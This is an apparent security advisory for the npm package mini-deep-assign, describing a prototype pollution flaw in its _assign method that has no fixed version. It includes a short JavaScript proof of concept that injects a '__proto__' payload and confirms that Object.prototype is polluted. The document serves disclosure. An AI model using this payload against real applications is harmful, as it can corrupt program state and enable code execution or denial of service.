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Overview

mini-deep-assign is a Like Object.assign(), but recursive

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources through the _assign method. An attacker can execute arbitrary code or disrupt service by manipulating object properties.

PoC

(async () => {
  const lib = await import('mini-deep-assign');

var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
  lib.default ({}, BAD_JSON)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();

Remediation

There is no fixed version for mini-deep-assign.

References

• GitHub Gist
• GitHub Issue
• Vulnerable File